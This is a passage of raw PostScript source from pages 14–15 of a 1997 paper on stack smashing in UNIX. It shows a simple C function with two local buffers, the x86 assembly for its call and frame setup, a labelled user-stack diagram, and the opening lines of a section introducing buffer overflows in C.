-0.100 0 (F)A 0.200 0 (i)A (gu)S 0.100 0 (r)A 1.400 0 32 -0.400 0 (e )D (7.1.)S -0.400 0 (c)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 3037 5247 M -0.300 0 (\))A 1.000 0 32 (. )W 0.100 0 (M)A -0.400 0 (e)A 0.200 0 (m)A (o)S -0.300 0 (r)A 4.000 0 32 -3.000 0 (y )D -0.400 0 (a)A (dd)S -0.300 0 (r)A -0.400 0 (e)A 0.100 0 (ss)A 0.200 0 (i)A (n)S 2.000 0 32 -1.000 0 (g )D 0.200 0 (m)A (u)S 0.100 0 (s)A 0.800 0 32 0.200 0 (t )D -0.200 0 (w)A (o)S -0.300 0 (r)A (k)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 5424 M -0.200 0 (w)A 0.200 0 (it)A 10.000 0 32 (h )W 0.200 0 (m)A (u)S 0.200 0 (lti)A (p)S 0.200 0 (l)A -0.400 0 (e)A 10.900 0 32 0.100 0 (s )D (o)S 11.300 0 32 -0.300 0 (f )D -0.200 0 (w)A (o)S -0.300 0 (r)A (d)S 0.100 0 (s)A 11.000 0 32 (, )W 0.200 0 (t)A (h)S 0.200 0 (i)A 10.900 0 32 0.100 0 (s )D 0.200 0 (i)A 10.900 0 32 0.100 0 (s )D -0.200 0 (w)A (h)S 14.000 0 32 -3.000 0 (y )D 11.000 0 32 (20 )W 0.200 0 (i)A 10.900 0 32 0.100 0 (s s)D (ub)S 0.200 0 (t)A -0.300 0 (r)A -0.400 0 (ac)A 0.200 0 (t)A -0.400 0 (e)A 11.000 0 32 (d )W -0.300 0 (fr)A (o)S 10.800 0 32 0.200 0 (m )D 10.600 0 32 0.400 0 (SP )D 0.200 0 (i)A 11.000 0 32 (n )W 0.200 0 (t)A (h)S 0.200 0 (i)A 10.900 0 32 0.100 0 (s )D -0.400 0 (e)A 1.000 0 (x)A -0.400 0 (a)A 0.200 0 (m)A (p)S 0.200 0 (l)A -0.400 0 (e)A 11.000 0 32 (. )W -0.100 0 (T)A (h)S 11.400 0 32 -0.400 0 (e )D 0.100 0 (s)A (ou)S -0.300 0 (r)A -0.400 0 (ce)A ; : 511 1987 3982 667 rc 0 0 0 sco (F5_67) cvn F5 67 xF F5_67 Ji 612 2001 M -0.200 0 (void function\(int a, int b, int c\) {)A ; 586 1987 N M 6 6 rr : 0 0 0 sco O ; 586 1987 N M 6 6 rr : 0 0 0 sco O ; 592 1987 N M 3820 6 rr : 0 0 0 sco O ; 4412 1987 N M 6 6 rr : 0 0 0 sco O ; 4412 1987 N M 6 6 rr : 0 0 0 sco O ; 586 1993 N M 6 79 rr : 0 0 0 sco O ; 4412 1993 N M 6 79 rr : 0 0 0 sco O ; : 511 1987 3982 667 rc 0 0 0 sco F5_67 Ji 612 2072 M -0.200 0 ( char buffer1[5];)A ; 586 2072 N M 6 71 rr : 0 0 0 sco O ; 4412 2072 N M 6 71 rr : 0 0 0 sco O ; : 511 1987 3982 667 rc 0 0 0 sco F5_67 Ji 612 2143 M -0.200 0 ( char buffer2[10];)A ; 586 2143 N M 6 71 rr : 0 0 0 sco O ; 4412 2143 N M 6 71 rr : 0 0 0 sco O ; : 511 1987 3982 667 rc 0 0 0 sco F5_67 Ji 612 2214 M -0.200 0 (})A ; 586 2214 N M 6 71 rr : 0 0 0 sco O ; 4412 2214 N M 6 71 rr : 0 0 0 sco O ; 586 2285 N M 6 71 rr : 0 0 0 sco O ; 4412 2285 N M 6 71 rr : 0 0 0 sco O ; : 511 1987 3982 667 rc 0 0 0 sco F5_67 Ji 612 2356 M -0.200 0 (void main\(\) {)A ; 586 2356 N M 6 71 rr : 0 0 0 sco O ; 4412 2356 N M 6 71 rr : 0 0 0 sco O ; : 511 1987 3982 667 rc 0 0 0 sco F5_67 Ji 612 2427 M -0.200 0 ( function\(1,2,3\);)A ; 586 2427 N M 6 71 rr : 0 0 0 sco O ; 4412 2427 N M 6 71 rr : 0 0 0 sco O ; : 511 1987 3982 667 rc 0 0 0 sco F5_67 Ji 612 2498 M -0.200 0 (})A ; 586 2498 N M 6 71 rr : 0 0 0 sco O ; 4412 2498 N M 6 71 rr : 0 0 0 sco O ; 586 2648 N M 6 6 rr : 0 0 0 sco O ; 586 2648 N M 6 6 rr : 0 0 0 sco O ; 592 2648 N M 3820 6 rr : 0 0 0 sco O ; 4412 2648 N M 6 6 rr : 0 0 0 sco O ; 4412 2648 N M 6 6 rr : 0 0 0 sco O ; 586 2569 N M 6 79 rr : 0 0 0 sco O ; 4412 2569 N M 6 79 rr : 0 0 0 sco O ; : 511 3278 3982 312 rc 0 0 0 sco F5_67 Ji 612 3292 M -0.200 0 ( pushl $3)A ; : 511 3278 3982 312 rc 0 0 0 sco F5_67 Ji 1812 3292 M -0.200 0 (; push function\(\) argument 3)A ; 586 3278 N M 6 6 rr : 0 0 0 sco O ; 586 3278 N M 6 6 rr : 0 0 0 sco O ; 592 3278 N M 3820 6 rr : 0 0 0 sco O ; 4412 3278 N M 6 6 rr : 0 0 0 sco O ; 4412 3278 N M 6 6 rr : 0 0 0 sco O ; 586 3284 N M 6 79 rr : 0 0 0 sco O ; 4412 3284 N M 6 79 rr : 0 0 0 sco O ; : 511 3278 3982 312 rc 0 0 0 sco F5_67 Ji 612 3363 M -0.200 0 ( pushl $2)A ; : 511 3278 3982 312 rc 0 0 0 sco F5_67 Ji 1812 3363 M -0.200 0 (; push function\(\) )A ; : 511 3278 3982 312 rc 0 0 0 sco F5_67 Ji 2532 3363 M -0.200 0 (argument 2)A ; 586 3363 N M 6 71 rr : 0 0 0 sco O ; 4412 3363 N M 6 71 rr : 0 0 0 sco O ; : 511 3278 3982 312 rc 0 0 0 sco F5_67 Ji 612 3434 M -0.200 0 ( pushl $1)A ; : 511 3278 3982 312 rc 0 0 0 sco F5_67 Ji 1812 3434 M -0.200 0 (; push function\(\) argument 1)A ; 586 3434 N M 6 71 rr : 0 0 0 sco O ; 4412 3434 N M 6 71 rr : 0 0 0 sco O ; : 511 3278 3982 312 rc 0 0 0 sco F5_67 Ji 612 3505 M -0.200 0 ( call function)A ; : 511 3278 3982 312 rc 0 0 0 sco F5_67 Ji 1812 3505 M -0.200 0 (; call function\(\) and push IP onto the stack)A ; 586 3584 N M 6 6 rr : 0 0 0 sco O ; 586 3584 N M 6 6 rr : 0 0 0 sco O ; 592 3584 N M 3820 6 rr : 0 0 0 sco O ; 4412 3584 N M 6 6 rr : 0 0 0 sco O ; 4412 3584 N M 6 6 rr : 0 0 0 sco O ; 586 3505 N M 6 79 rr : 0 0 0 sco O ; 4412 3505 N M 6 79 rr : 0 0 0 sco O ; : 511 4479 3982 241 rc 0 0 0 sco F5_67 Ji 912 4493 M -0.200 0 (pushl %ebp)A ; : 511 4479 3982 241 rc 0 0 0 sco F5_67 Ji 1812 4493 M -0.200 0 (; push frame pointer onto stack)A ; 586 4479 N M 6 6 rr : 0 0 0 sco O ; 586 4479 N M 6 6 rr : 0 0 0 sco O ; 592 4479 N M 3820 6 rr : 0 0 0 sco O ; 4412 4479 N M 6 6 rr : 0 0 0 sco O ; 4412 4479 N M 6 6 rr : 0 0 0 sco O ; 586 4485 N M 6 79 rr : 0 0 0 sco O ; 4412 4485 N M 6 79 rr : 0 0 0 sco O ; : 511 4479 3982 241 rc 0 0 0 sco F5_67 Ji 912 4564 M -0.200 0 (movl %esp,%ebp)A ; : 511 4479 3982 241 rc 0 0 0 sco F5_67 Ji 1812 4564 M -0.200 0 (; copy SP onto EBP, creating the new frame pointe)A ; : 511 4479 3982 241 rc 0 0 0 sco F5_67 Ji 3772 4564 M -0.200 0 (r \(FP\))A ; 586 4564 N M 6 71 rr : 0 0 0 sco O ; 4412 4564 N M 6 71 rr : 0 0 0 sco O ; : 511 4479 3982 241 rc 0 0 0 sco F5_67 Ji 912 4635 M -0.200 0 (subl $20,%esp)A ; : 511 4479 3982 241 rc 0 0 0 sco F5_67 Ji 1812 4635 M -0.200 0 (; allocate space for local variables)A ; 586 4714 N M 6 6 rr : 0 0 0 sco O ; 586 4714 N M 6 6 rr : 0 0 0 sco O ; 592 4714 N M 3820 6 rr : 0 0 0 sco O ; 4412 4714 N M 6 6 rr : 0 0 0 sco O ; 4412 4714 N M 6 6 rr : 0 0 0 sco O ; 586 4635 N M 6 79 rr : 0 0 0 sco O ; 4412 4635 N M 6 79 rr : 0 0 0 sco O ; LH savelevel1 restore pagesave restore (%%[ Page: 14 ]%%) = %%PageTrailer %%Page: 15 15 %%BeginPageSetup [{ %%BeginFeature: *Duplex %%EndFeature } stopped cleartomark userdict begin /pagesave save def end mysetup concat colspRefresh : 1.000 1.000 1.000 sco 0 0 5100 6600 rf ; userdict begin /savelevel1 save def end %%EndPageSetup : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Times-Bold (F0) cvn 0.904 (Times-Bold) cvn /Type1 T (Times-Bold) cvn mF (F0_83) cvn F0 83 xF F0_83 Ji 612 54 M 0.000 0 (Stack Smashing Vulnerabilities in the UNIX Operating System)A ; : 0 0 4883 6391 rc 0 0 0 sco F0_83 Ji 3935 54 M 0.337 0 (Page )A ; : 0 0 4883 6391 rc 0 0 0 sco F0_83 Ji 4128 54 M 0.500 0 (15)A ; : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Times-Roman (F2) cvn 0.892 (Times-Roman) cvn /Type1 T (Times-Roman) cvn mF (F2_83) cvn F2 83 xF F2_83 Ji 2290 6256 M 0.192 0 (May 7, 1997)A ; : 0 0 4883 6391 rc 0 0 0 sco (F2_100) cvn F2 100 xF F2_100 Ji 612 504 M -0.400 0 (c)A (od)S 0.400 0 32 -0.400 0 (e )D 0.200 0 (i)A (n )S -0.400 0 (e)A 1.000 0 (x)A -0.400 0 (a)A 0.200 0 (m)A (p)S 0.200 0 (l)A 0.400 0 32 -0.400 0 (e )D (7.1.)S 0.400 0 32 -0.400 0 (c )D (u)S 0.100 0 (s)A -0.400 0 (e)A -0.100 0 32 0.100 0 (s )D (5 )S -0.200 0 (w)A (o)S -0.300 0 (r)A (d)S -0.100 0 32 0.100 0 (s )D -0.300 0 (f)A (o)S 0.300 0 32 -0.300 0 (r )D 0.400 0 32 -0.400 0 (a )D 0.200 0 (t)A (o)S 0.200 0 (t)A -0.400 0 (a)A -0.200 0 32 0.200 0 (l )D (o)S 0.300 0 32 -0.300 0 (f )D (20 b)S -3.000 0 (y)A 0.200 0 (t)A -0.400 0 (e)A 0.100 0 (s)A (, )S 0.200 0 (t)A -0.400 0 (a)A (k)S 0.200 0 (i)A (n)S 1.000 0 32 -1.000 0 (g )D 0.200 0 (i)A (n)S 0.200 0 (t)A (o )S -0.400 0 (c)A (on)S 0.100 0 (s)A 0.200 0 (i)A (d)S -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (ti)A (on )S 0.200 0 (t)A (h)S 1.400 0 32 -0.400 0 (e )D 1.000 0 32 (4 b)W -3.000 0 (y)A 0.200 0 (t)A -0.400 0 (e)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 681 M -0.033 0 (Intel x86 CPU word size.)A ; : 0 0 4883 6391 rc 0 0 0 sco F0_83 Ji 1796 3633 M 0.205 0 (Figure 7.1.b)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_83 Ji 2225 3634 M 0.001 0 ( - Example 7.1.a in user stack)A ; : 0 0 4883 6391 rc 0 0 0 sco (F2_117) cvn F2 117 xF F2_117 Ji 612 3782 M 0.064 0 (8. Buffer Overflows)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 912 3987 M -2.300 0 (I)A 15.000 0 32 (n )W 0.200 0 (t)A (h)S 15.400 0 32 -0.400 0 (e )D 14.700 0 32 0.300 0 (C )D (p)S -0.300 0 (r)A (o)S -1.000 0 (g)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (mmi)A (n)S 16.000 0 32 -1.000 0 (g )D 0.200 0 (l)A -0.400 0 (a)A (n)S -1.000 0 (g)A (u)S -0.400 0 (a)A -1.000 0 (g)A -0.400 0 (e)A 15.000 0 32 (, bu)W -0.300 0 (ff)A -0.400 0 (e)A 16.300 0 32 -0.300 0 (r )D (ov)S -0.400 0 (e)A -0.300 0 (rf)A 0.200 0 (l)A (o)S -0.200 0 (w)A 15.900 0 32 0.100 0 (s )D -0.400 0 (a)A -0.300 0 (r)A 16.400 0 32 -0.400 0 (e a c)D (o)S 0.200 0 (mm)A 16.000 0 32 (on o)W -0.400 0 (cc)A (u)S -0.300 0 (rr)A -0.400 0 (e)A (n)S -0.400 0 (ce)A 16.000 0 32 (. )W -0.300 0 (r)A -0.400 0 (eca)A 0.200 0 (ll)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 4164 M 0.200 0 (t)A (h)S -0.400 0 (a)A 4.800 0 32 0.200 0 (t )D (b)S 9.000 0 32 -3.000 0 (y )D (d)S -0.400 0 (e)A 0.100 0 (s)A 0.200 0 (i)A -1.000 0 (g)A 6.000 0 32 (n, )W 0.200 0 (t)A (h)S 6.400 0 32 -0.400 0 (e )D (p)S -0.300 0 (r)A (o)S -1.000 0 (g)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (mmi)A (n)S 7.000 0 32 -1.000 0 (g )D 0.200 0 (l)A -0.400 0 (a)A (n)S -1.000 0 (g)A (u)S -0.400 0 (a)A -1.000 0 (g)A 6.400 0 32 -0.400 0 (e )D (do)S -0.400 0 (e)A 5.900 0 32 0.100 0 (s )D (no)S 5.800 0 32 0.200 0 (t i)D (n)S 0.200 0 (t)A -0.400 0 (e)A -0.300 0 (r)A (n)S -0.400 0 (a)A 0.200 0 (ll)A 9.000 0 32 -3.000 0 (y )D 0.100 0 (s)A (uppo)S -0.300 0 (r)A 5.800 0 32 0.200 0 (t )D (bound)S 5.900 0 32 0.100 0 (s )D -0.400 0 (c)A (h)S -0.400 0 (ec)A (k)S 0.200 0 (i)A (n)S 7.000 0 32 -1.000 0 (g )D -0.200 0 (w)A (h)S -0.400 0 (e)A (n)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 4341 M 0.200 0 (i)A (n)S 0.200 0 (iti)A -0.400 0 (a)A 0.200 0 (li)A 0.600 0 (z)A 0.200 0 (i)A (n)S -1.000 0 (g)A 14.000 0 32 (, )W -0.400 0 (c)A (op)S -3.000 0 (y)A 0.200 0 (i)A (n)S 15.000 0 32 -1.000 0 (g )D (o)S 14.300 0 32 -0.300 0 (r )D 0.200 0 (m)A (ov)S 0.200 0 (i)A (n)S 15.000 0 32 -1.000 0 (g )D (d)S -0.400 0 (a)A 0.200 0 (t)A 15.400 0 32 -0.400 0 (a )D (b)S -0.400 0 (e)A 0.200 0 (t)A -0.200 0 (w)A -0.400 0 (ee)A 15.000 0 32 (n o)W 15.300 0 32 -0.300 0 (r )D 0.200 0 (i)A (n)S 0.200 0 (t)A 15.000 0 32 (o v)W -0.400 0 (a)A -0.300 0 (r)A 0.200 0 (i)A -0.400 0 (a)A (b)S 0.200 0 (l)A -0.400 0 (e)A 14.900 0 32 0.100 0 (s )D -0.300 0 (\()A ; : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Times-Italic (F6) cvn 0.900 (Times-Italic) cvn /Type1 T (Times-Italic) cvn mF (F6_100) cvn F6 100 xF F6_100 Ji 3263 4341 M 0.100 0 (s)A 15.400 0 32 -0.400 0 (ee )D 0.100 0 (s)A -0.400 0 (ec)A 0.200 0 (ti)A 15.000 0 32 (on 5)W ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 3803 4341 M -0.300 0 (\))A 15.000 0 32 (. )W -0.700 0 (B)A -0.400 0 (e)A 0.200 0 (l)A (o)S 15.200 0 32 -0.200 0 (w )D 0.200 0 (i)A 14.900 0 32 0.100 0 (s )D -0.400 0 (a)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 4518 M -0.145 0 (simple buffer overflow example using string arrays:)A ; 586 854 N M 6 6 rr : 0 0 0 sco O ; 586 854 N M 6 6 rr : 0 0 0 sco O ; 592 854 N M 3820 6 rr : 0 0 0 sco O ; 4412 854 N M 6 6 rr : 0 0 0 sco O ; 4412 854 N M 6 6 rr : 0 0 0 sco O ; 586 860 N M 6 155 rr : 0 0 0 sco O ; 4412 860 N M 6 155 rr : 0 0 0 sco O ; 1609 1023 N M 1785 2485 rr : 1.000 1.000 1.000 sco O ; 17 Lw 0 Lc 0 Lj solid 0 0 0 sco K : 2326 3093 2167 115 rc 0 0 0 sco (F2_101) cvn F2 101 xF F2_101 Ji 2436 3093 M -0.500 0 (b)A -0.289 0 (ss)A ; : 511 3015 3982 258 rc 1601 3267 N M 0 -254 - 8 Lw 1 Lc 1 Lj solid : 1.000 1.000 1.000 sco solid K ; 0 0 0 sco K ; : 511 3015 3982 258 rc 3401 3267 N M 0 -254 - 8 Lw 1 Lc 1 Lj solid : 1.000 1.000 1.000 sco solid K ; 0 0 0 sco K ; : 1601 854 1808 2775 rc 1599 3266 N M 1804 0 - 8 Lw 1 Lc 1 Lj solid : 1.000 1.000 1.000 sco solid K ; 0 0 0 sco K ; : 511 3265 3982 258 rc 1601 3517 N M 0 -254 - 8 Lw 1 Lc 1 Lj solid : 1.000 1.000 1.000 sco solid K ; 0 0 0 sco K ; : 511 3265 3982 258 rc 3401 3517 N M 0 -254 - 8 Lw 1 Lc 1 Lj solid : 1.000 1.000 1.000 sco solid K ; 0 0 0 sco K ; : 1601 854 1808 2775 rc 1599 2666 N M 1804 0 - 8 Lw 1 Lc 1 Lj solid : 1.000 1.000 1.000 sco solid K ; 0 0 0 sco K ; 1601 1015 N M 1801 7 rr : 0.251 0.251 0.251 sco O ; 1601 1022 N M 1801 9 rr : 0.259 0.259 0.259 sco O ; 1601 1031 N M 1801 7 rr : 0.267 0.267 0.267 sco O ; 1601 1038 N M 1801 7 rr : 0.275 0.275 0.275 sco O ; 1601 1045 N M 1801 7 rr : 0.282 0.282 0.282 sco O ; 1601 1052 N M 1801 9 rr : 0.290 0.290 0.290 sco O ; 1601 1061 N M 1801 7 rr : 0.298 0.298 0.298 sco O ; 1601 1068 N M 1801 7 rr : 0.306 0.306 0.306 sco O ; 1601 1075 N M 1801 8 rr : 0.314 0.314 0.314 sco O ; 1601 1083 N M 1801 8 rr : 0.322 0.322 0.322 sco O ; 1601 1091 N M 1801 7 rr : 0.329 0.329 0.329 sco O ; 1601 1098 N M 1801 8 rr : 0.337 0.337 0.337 sco O ; 1601 1106 N M 1801 7 rr : 0.345 0.345 0.345 sco O ; 1601 1113 N M 1801 8 rr : 0.353 0.353 0.353 sco O ; 1601 1121 N M 1801 8 rr : 0.361 0.361 0.361 sco O ; 1601 1129 N M 1801 7 rr : 0.369 0.369 0.369 sco O ; 1601 1136 N M 1801 7 rr : 0.376 0.376 0.376 sco O ; 1601 1143 N M 1801 8 rr : 0.384 0.384 0.384 sco O ; 1601 1151 N M 1801 8 rr : 0.392 0.392 0.392 sco O ; 1601 1159 N M 1801 7 rr : 0.400 0.400 0.400 sco O ; 1601 1166 N M 1801 8 rr : 0.408 0.408 0.408 sco O ; 1601 1174 N M 1801 8 rr : 0.416 0.416 0.416 sco O ; 1601 1182 N M 1801 7 rr : 0.424 0.424 0.424 sco O ; 1601 1189 N M 1801 7 rr : 0.431 0.431 0.431 sco O ; 1601 1196 N M 1801 9 rr : 0.439 0.439 0.439 sco O ; 1601 1205 N M 1801 7 rr : 0.447 0.447 0.447 sco O ; 1601 1212 N M 1801 7 rr : 0.455 0.455 0.455 sco O ; 1601 1219 N M 1801 7 rr : 0.463 0.463 0.463 sco O ; 1601 1226 N M 1801 9 rr : 0.471 0.471 0.471 sco O ; 1601 1235 N M 1801 7 rr : 0.478 0.478 0.478 sco O ; 1601 1242 N M 1801 7 rr : 0.486 0.486 0.486 sco O ; 1601 1249 N M 1801 8 rr : 0.494 0.494 0.494 sco O ; 1601 1257 N M 1801 8 rr : 0.502 0.502 0.502 sco O ; 1601 1265 N M 1801 7 rr : 0.510 0.510 0.510 sco O ; 1601 1272 N M 1801 8 rr : 0.518 0.518 0.518 sco O ; 1601 1280 N M 1801 7 rr : 0.525 0.525 0.525 sco O ; 1601 1287 N M 1801 8 rr : 0.533 0.533 0.533 sco O ; 1601 1295 N M 1801 7 rr : 0.541 0.541 0.541 sco O ; 1601 1302 N M 1801 8 rr : 0.549 0.549 0.549 sco O ; 1601 1310 N M 1801 8 rr : 0.557 0.557 0.557 sco O ; 1601 1318 N M 1801 7 rr : 0.565 0.565 0.565 sco O ; 1601 1325 N M 1801 8 rr : 0.573 0.573 0.573 sco O ; 1601 1333 N M 1801 7 rr : 0.580 0.580 0.580 sco O ; 1601 1340 N M 1801 8 rr : 0.588 0.588 0.588 sco O ; 1601 1348 N M 1801 8 rr : 0.596 0.596 0.596 sco O ; 1601 1356 N M 1801 7 rr : 0.604 0.604 0.604 sco O ; 1601 1363 N M 1801 7 rr : 0.612 0.612 0.612 sco O ; 1601 1370 N M 1801 9 rr : 0.620 0.620 0.620 sco O ; 1601 1379 N M 1801 7 rr : 0.627 0.627 0.627 sco O ; 1601 1386 N M 1801 7 rr : 0.635 0.635 0.635 sco O ; 1601 1393 N M 1801 7 rr : 0.643 0.643 0.643 sco O ; 1601 1400 N M 1801 9 rr : 0.651 0.651 0.651 sco O ; 1601 1409 N M 1801 7 rr : 0.659 0.659 0.659 sco O ; 1601 1416 N M 1801 7 rr : 0.667 0.667 0.667 sco O ; 1601 1423 N M 1801 8 rr : 0.675 0.675 0.675 sco O ; 1601 1431 N M 1801 8 rr : 0.682 0.682 0.682 sco O ; 1601 1439 N M 1801 7 rr : 0.690 0.690 0.690 sco O ; 1601 1446 N M 1801 70 rr : 0.698 0.698 0.698 sco O ; 1605 1019 N M 1793 493 rr 8 Lw solid : 1.000 1.000 1.000 sco solid K ; 0 0 0 sco K : 2182 1343 2311 115 rc 0 0 0 sco (F6_101) cvn F6 101 xF F6_101 Ji 2299 1343 M -0.500 0 (u)A -0.289 0 (s)A -0.844 0 (e)A 0.039 0 32 -0.289 0 (r )D 0.711 0 (s)A -1.078 0 (t)A -0.500 0 (a)A 0.156 0 (c)A -0.844 0 (k)A ; : 1601 854 1808 2775 rc 1599 1516 N M 1804 0 - 1 Lc 1 Lj : 1.000 1.000 1.000 sco solid K ; 0 0 0 sco K ; 1601 3065 N M 1801 63 rr : 0.698 0.698 0.698 sco O ; 1601 3128 N M 1801 8 rr : 0.698 0.698 0.698 sco O ; 1601 3136 N M 1801 6 rr : 0.690 0.690 0.690 sco O ; 1601 3142 N M 1801 7 rr : 0.682 0.682 0.682 sco O ; 1601 3149 N M 1801 7 rr : 0.675 0.675 0.675 sco O ; 1601 3156 N M 1801 7 rr : 0.667 0.667 0.667 sco O ; 1601 3163 N M 1801 6 rr : 0.659 0.659 0.659 sco O ; 1601 3169 N M 1801 7 rr : 0.651 0.651 0.651 sco O ; 1601 3176 N M 1801 7 rr : 0.643 0.643 0.643 sco O ; 1601 3183 N M 1801 7 rr : 0.635 0.635 0.635 sco O ; 1601 3190 N M 1801 6 rr : 0.627 0.627 0.627 sco O ; 1601 3196 N M 1801 7 rr : 0.620 0.620 0.620 sco O ; 1601 3203 N M 1801 7 rr : 0.612 0.612 0.612 sco O ; 1601 3210 N M 1801 7 rr : 0.604 0.604 0.604 sco O ; 1601 3217 N M 1801 6 rr : 0.596 0.596 0.596 sco O ; 1601 3223 N M 1801 8 rr : 0.588 0.588 0.588 sco O ; 1601 3231 N M 1801 6 rr : 0.580 0.580 0.580 sco O ; 1601 3237 N M 1801 7 rr : 0.573 0.573 0.573 sco O ; 1601 3244 N M 1801 6 rr : 0.565 0.565 0.565 sco O ; 1601 3250 N M 1801 8 rr : 0.557 0.557 0.557 sco O ; 1601 3258 N M 1801 7 rr : 0.549 0.549 0.549 sco O ; 1601 3265 N M 1801 6 rr : 0.541 0.541 0.541 sco O ; 1601 3271 N M 1801 7 rr : 0.533 0.533 0.533 sco O ; 1601 3278 N M 1801 7 rr : 0.525 0.525 0.525 sco O ; 1601 3285 N M 1801 7 rr : 0.518 0.518 0.518 sco O ; 1601 3292 N M 1801 6 rr : 0.510 0.510 0.510 sco O ; 1601 3298 N M 1801 8 rr : 0.502 0.502 0.502 sco O ; 1601 3306 N M 1801 6 rr : 0.494 0.494 0.494 sco O ; 1601 3312 N M 1801 7 rr : 0.486 0.486 0.486 sco O ; 1601 3319 N M 1801 6 rr : 0.478 0.478 0.478 sco O ; 1601 3325 N M 1801 8 rr : 0.471 0.471 0.471 sco O ; 1601 3333 N M 1801 6 rr : 0.463 0.463 0.463 sco O ; 1601 3339 N M 1801 7 rr : 0.455 0.455 0.455 sco O ; 1601 3346 N M 1801 6 rr : 0.447 0.447 0.447 sco O ; 1601 3352 N M 1801 8 rr : 0.439 0.439 0.439 sco O ; 1601 3360 N M 1801 6 rr : 0.431 0.431 0.431 sco O ; 1601 3366 N M 1801 7 rr : 0.424 0.424 0.424 sco O ; 1601 3373 N M 1801 7 rr : 0.416 0.416 0.416 sco O ; 1601 3380 N M 1801 7 rr : 0.408 0.408 0.408 sco O ; 1601 3387 N M 1801 7 rr : 0.400 0.400 0.400 sco O ; 1601 3394 N M 1801 6 rr : 0.392 0.392 0.392 sco O ; 1601 3400 N M 1801 8 rr : 0.384 0.384 0.384 sco O ; 1601 3408 N M 1801 6 rr : 0.376 0.376 0.376 sco O ; 1601 3414 N M 1801 7 rr : 0.369 0.369 0.369 sco O ; 1601 3421 N M 1801 6 rr : 0.361 0.361 0.361 sco O ; 1601 3427 N M 1801 8 rr : 0.353 0.353 0.353 sco O ; 1601 3435 N M 1801 6 rr : 0.345 0.345 0.345 sco O ; 1601 3441 N M 1801 7 rr : 0.337 0.337 0.337 sco O ; 1601 3448 N M 1801 7 rr : 0.329 0.329 0.329 sco O ; 1601 3455 N M 1801 7 rr : 0.322 0.322 0.322 sco O ; 1601 3462 N M 1801 6 rr : 0.314 0.314 0.314 sco O ; 1601 3468 N M 1801 7 rr : 0.306 0.306 0.306 sco O ; 1601 3475 N M 1801 7 rr : 0.298 0.298 0.298 sco O ; 1601 3482 N M 1801 7 rr : 0.290 0.290 0.290 sco O ; 1601 3489 N M 1801 6 rr : 0.282 0.282 0.282 sco O ; 1601 3495 N M 1801 7 rr : 0.275 0.275 0.275 sco O ; 1601 3502 N M 1801 7 rr : 0.267 0.267 0.267 sco O ; 1601 3509 N M 1801 7 rr : 0.259 0.259 0.259 sco O ; 1605 3069 N M 1793 443 rr : 1.000 1.000 1.000 sco solid K ; 0 0 0 sco K : 1601 854 1808 2775 rc 1599 3266 N M 1804 0 - 33 Lw 1 Lc 1 Lj solid : 1.000 1.000 1.000 sco solid K ; 0 0 0 sco K ; : 1601 854 1808 2775 rc 1599 3066 N M 1804 0 - 1 Lc 1 Lj : 1.000 1.000 1.000 sco solid K ; 0 0 0 sco K ; : 2286 3093 2207 115 rc 0 0 0 sco F6_101 Ji 2403 3093 M -0.500 0 (h)A 0.156 0 (e)A -0.500 0 (ap)A ; : 2305 1085 2188 115 rc 0 0 0 sco F2_101 Ji 2415 1085 M 0.156 0 (a)A -0.633 0 (r)A -0.500 0 (g)A -0.844 0 (c)A ; : 1601 854 1808 2775 rc 1599 1266 N M 1804 0 - 33 Lw 1 Lc 1 Lj solid : 1.000 1.000 1.000 sco solid K ; 0 0 0 sco K ; : 2326 3350 2167 115 rc 0 0 0 sco F2_101 Ji 2436 3350 M -0.500 0 (b)A -0.289 0 (ss)A ; : 511 1015 3982 2508 rc 1601 1013 N M 0 2504 - 17 Lw 1 Lc 1 Lj solid : 1.000 1.000 1.000 sco solid K ; 0 0 0 sco K ; : 511 1015 3982 2508 rc 3401 1013 N M 0 2504 - 17 Lw 1 Lc 1 Lj solid : 1.000 1.000 1.000 sco solid K ; 0 0 0 sco K ; : 1601 854 1808 2775 rc 1599 1016 N M 1804 0 - 17 Lw 1 Lc 1 Lj solid : 1.000 1.000 1.000 sco solid K ; 0 0 0 sco K ; : 1601 854 1808 2775 rc 1599 3516 N M 1804 0 - 17 Lw 1 Lc 1 Lj solid : 1.000 1.000 1.000 sco solid K ; 0 0 0 sco K ; : 1601 854 1808 2775 rc 1599 1866 N M 1804 0 - 1 Lc 1 Lj : 1.000 1.000 1.000 sco solid K ; 0 0 0 sco K ; : 1601 854 1808 2775 rc 1599 2066 N M 1804 0 - 1 Lc 1 Lj : 1.000 1.000 1.000 sco solid K ; 0 0 0 sco K ; : 1601 854 1808 2775 rc 1599 2266 N M 1804 0 - 1 Lc 1 Lj : 1.000 1.000 1.000 sco solid K ; 0 0 0 sco K ; : 1601 854 1808 2775 rc 1599 2466 N M 1804 0 - 1 Lc 1 Lj : 1.000 1.000 1.000 sco solid K ; 0 0 0 sco K ; : 1601 854 1808 2775 rc 1599 2866 N M 1804 0 - 1 Lc 1 Lj : 1.000 1.000 1.000 sco solid K ; 0 0 0 sco K ; : 2226 2905 2267 107 rc 0 0 0 sco %%IncludeFont: Courier (F10) cvn 0.800 (Courier) cvn /Type1 T (Courier) cvn mF (F10_100) cvn F10 100 xF F10_100 Ji 2291 2905 M 1.000 0 (b)A -1.000 0 (u)A (ffe)S 1.000 0 (r)A -1.000 0 (2)A ; : 2226 2705 2267 107 rc 0 0 0 sco F10_100 Ji 2291 2705 M 1.000 0 (b)A -1.000 0 (u)A (ffe)S 1.000 0 (r)A -1.000 0 (1)A ; : 2345 2505 2148 107 rc 0 0 0 sco F10_100 Ji 2410 2505 M 1.000 0 (s)A -1.000 0 (f)A (p)S ; : 2345 2305 2148 107 rc 0 0 0 sco F10_100 Ji 2410 2305 M 1.000 0 (r)A -1.000 0 (e)A (t)S 